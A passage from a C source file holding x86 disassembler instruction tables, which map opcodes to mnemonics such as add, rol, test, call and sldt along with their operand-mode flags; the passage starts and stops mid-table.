NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"cmpss\",     AM_V|OT_ss|P_r,              AM_W|OT_ss|P_r,            AM_I|OT_b,    1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"movq2dq\",   AM_V|OT_dq|P_w,              AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"cvtdq2pd\",  AM_V|OT_pd|P_r,              AM_W|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n}; \n\n// Extension tables\n\nINST inst_table_ext1_1[8] = {\n\t{ INSTRUCTION_TYPE_ADD,   \"add\",        AM_E|OT_b|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OR,    \"or\",         AM_E|OT_b|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ADC,   \"adc\",        AM_E|OT_b|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SBB,   \"sbb\",        AM_E|OT_b|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_AND,   \"and\",        AM_E|OT_b|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SUB,   \"sub\",        AM_E|OT_b|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_XOR,   \"xor\",        AM_E|OT_b|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_CMP,   \"cmp\",        AM_E|OT_b|P_r,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n};\nINST inst_table_ext1_2[8] = {\n\t{ INSTRUCTION_TYPE_ADD,   \"add\",        AM_E|OT_v|P_w,               AM_I|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OR,    \"or\",         AM_E|OT_v|P_w,               AM_I|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ADC,   \"adc\",        AM_E|OT_v|P_w,               AM_I|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SBB,   \"sbb\",        AM_E|OT_v|P_w,               AM_I|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_AND,   \"and\",        AM_E|OT_v|P_w,               AM_I|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SUB,   \"sub\",        AM_E|OT_v|P_w,               AM_I|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_XOR,   \"xor\",        AM_E|OT_v|P_w,               AM_I|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_CMP,   \"cmp\",        AM_E|OT_v|P_r,               AM_I|OT_v|P_r,             FLAGS_NONE,   1 },\n};\nINST inst_table_ext1_3[8] = {\n\t{ INSTRUCTION_TYPE_ADD,   \"add\",        AM_E|OT_v|P_w,               AM_I|OT_b|F_s|P_r,         FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OR,    \"or\",         AM_E|OT_v|P_w,               AM_I|OT_b|F_s|P_r,         FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ADC,   \"adc\",        AM_E|OT_v|P_w,               AM_I|OT_b|F_s|P_r,         FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SBB,   \"sbb\",        AM_E|OT_v|P_w,               AM_I|OT_b|F_s|P_r,         FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_AND,   \"and\",        AM_E|OT_v|P_w,               AM_I|OT_b|F_s|P_r,         FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SUB,   \"sub\",        AM_E|OT_v|P_w,               AM_I|OT_b|F_s|P_r,         FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_XOR,   \"xor\",        AM_E|OT_v|P_w,               AM_I|OT_b|F_s|P_r,         FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_CMP,   \"cmp\",        AM_E|OT_v|P_r,               AM_I|OT_b|F_s|P_r,         FLAGS_NONE,   1 },\n};\n\nINST inst_table_ext2_1[8] = {\n\t{ INSTRUCTION_TYPE_ROX,   \"rol\",        AM_E|OT_b|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"ror\",        AM_E|OT_b|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"rcl\",        AM_E|OT_b|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"rcr\",        AM_E|OT_b|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SHX,   \"shl\",        AM_E|OT_b|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SHX,   \"shr\",        AM_E|OT_b|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER, NULL,         FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_SHX,   \"sar\",        AM_E|OT_b|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n};\nINST inst_table_ext2_2[8] = {\n\t{ INSTRUCTION_TYPE_ROX,   \"rol\",        AM_E|OT_v|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"ror\",        AM_E|OT_v|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"rcl\",        AM_E|OT_v|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"rcr\",        AM_E|OT_v|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SHX,   \"shl\",        AM_E|OT_v|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SHX,   \"shr\",        AM_E|OT_v|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER, NULL,         FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_SHX,   \"sar\",        AM_E|OT_v|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n};\nINST inst_table_ext2_3[8] = {\n\t{ INSTRUCTION_TYPE_ROX,   \"rol\",        AM_E|OT_b|P_w,               AM_I1|OT_b|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"ror\",        AM_E|OT_b|P_w,               AM_I1|OT_b|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"rcl\",        AM_E|OT_b|P_w,               AM_I1|OT_b|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"rcr\",        AM_E|OT_b|P_w,               AM_I1|OT_b|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SHX,   \"shl\",        AM_E|OT_b|P_w,               AM_I1|OT_b|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SHX,   \"shr\",        AM_E|OT_b|P_w,               AM_I1|OT_b|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER, NULL,         FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_SHX,   \"sar\",        AM_E|OT_b|P_w,               AM_I1|OT_b|P_r,            FLAGS_NONE,   1 },\n};\nINST inst_table_ext2_4[8] = {\n\t{ INSTRUCTION_TYPE_ROX,   \"rol\",        AM_E|OT_v|P_w,               AM_I1|OT_b|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"ror\",        AM_E|OT_v|P_w,               AM_I1|OT_b|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"rcl\",        AM_E|OT_v|P_w,               AM_I1|OT_b|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"rcr\",        AM_E|OT_v|P_w,               AM_I1|OT_b|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SHX,   \"shl\",        AM_E|OT_v|P_w,               AM_I1|OT_b|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SHX,   \"shr\",        AM_E|OT_v|P_w,               AM_I1|OT_b|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER, NULL,         FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_SHX,   \"sar\",        AM_E|OT_v|P_w,               AM_I1|OT_b|P_r,            FLAGS_NONE,   1 },\n};\nINST inst_table_ext2_5[8] = {\n\t{ INSTRUCTION_TYPE_ROX,   \"rol\",        AM_E|OT_b|P_w,               AM_REG|REG_CL|OT_b|P_r,    FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"ror\",        AM_E|OT_b|P_w,               AM_REG|REG_CL|OT_b|P_r,    FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"rcl\",        AM_E|OT_b|P_w,               AM_REG|REG_CL|OT_b|P_r,    FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"rcr\",        AM_E|OT_b|P_w,               AM_REG|REG_CL|OT_b|P_r,    FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SHX,   \"shl\",        AM_E|OT_b|P_w,               AM_REG|REG_CL|OT_b|P_r,    FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SHX,   \"shr\",        AM_E|OT_b|P_w,               AM_REG|REG_CL|OT_b|P_r,    FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER, NULL,         FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_SHX,   \"sar\",        AM_E|OT_b|P_w,               AM_REG|REG_CL|OT_b|P_r,    FLAGS_NONE,   1 },\n};\nINST inst_table_ext2_6[8] = {\n\t{ INSTRUCTION_TYPE_ROX,   \"rol\",        AM_E|OT_v|P_w,               AM_REG|REG_CL|OT_b|P_r,    FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"ror\",        AM_E|OT_v|P_w,               AM_REG|REG_CL|OT_b|P_r,    FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"rcl\",        AM_E|OT_v|P_w,               AM_REG|REG_CL|OT_b|P_r,    FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ROX,   \"rcr\",        AM_E|OT_v|P_w,               AM_REG|REG_CL|OT_b|P_r,    FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SHX,   \"shl\",        AM_E|OT_v|P_w,               AM_REG|REG_CL|OT_b|P_r,    FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SHX,   \"shr\",        AM_E|OT_v|P_w,               AM_REG|REG_CL|OT_b|P_r,    FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER, NULL,         FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_SHX,   \"sar\",        AM_E|OT_v|P_w,               AM_REG|REG_CL|OT_b|P_r,    FLAGS_NONE,   1 },\n};\n\nINST inst_table_ext3_1[8] = {\n\t{ INSTRUCTION_TYPE_TEST,   \"test\",      AM_E|OT_b|P_r,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_NOT,    \"not\",       AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_NEG,    \"neg\",       AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_MUL,    \"mul\",       AM_E|OT_b|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_IMUL,   \"imul\",      AM_E|OT_b|P_r,               FLAGS_NONE|P_r,           FLAGS_NONE|P_r,1 },\n\t{ INSTRUCTION_TYPE_DIV,    \"div\",       AM_E|OT_b|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_IDIV,   \"idiv\",      AM_E|OT_b|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n};\nINST inst_table_ext3_2[8] = {\n\t{ INSTRUCTION_TYPE_TEST,   \"test\",      AM_E|OT_v|P_r,               AM_I|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_NOT,    \"not\",       AM_E|OT_v|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_NEG,    \"neg\",       AM_E|OT_v|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_MUL,    \"mul\",       AM_E|OT_v|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_IMUL,   \"imul\",      AM_E|OT_v|P_r,               FLAGS_NONE|P_r,           FLAGS_NONE|P_r,1 },\n\t{ INSTRUCTION_TYPE_DIV,    \"div\",       AM_E|OT_v|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_IDIV,   \"idiv\",      AM_E|OT_v|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n};\n\nINST inst_table_ext4[8] = {\n\t{ INSTRUCTION_TYPE_INC,    \"inc\",       AM_E|OT_b|P_r,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_DEC,    \"dec\",       AM_E|OT_b,                   FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n};\n\nINST inst_table_ext5[8] = {\n\t{ INSTRUCTION_TYPE_INC,    \"inc\",       AM_E|OT_v|P_r,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_DEC,    \"dec\",       AM_E|OT_v,                   FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_CALL,   \"call\",      AM_E|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_CALL,   \"callf\",     AM_E|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_JMP,    \"jmp\",       AM_E|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_JMP,    \"jmpf\",      AM_E|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_E|OT_v|P_r,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n};\n\nINST inst_table_ext6[8] = {\n        { INSTRUCTION_TYPE_SLDT,   \"sldt\",      AM_E|OT_w|P_r,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_PRIV,   \"str\",       AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_PRIV,   \"lldt\",      AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_PRIV,   \"ltr\",       AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_PRIV,   \"verr\",      AM_E|OT_w|P_r,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_PRIV,   \"verw\",      AM_E|OT_w|P_r,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, 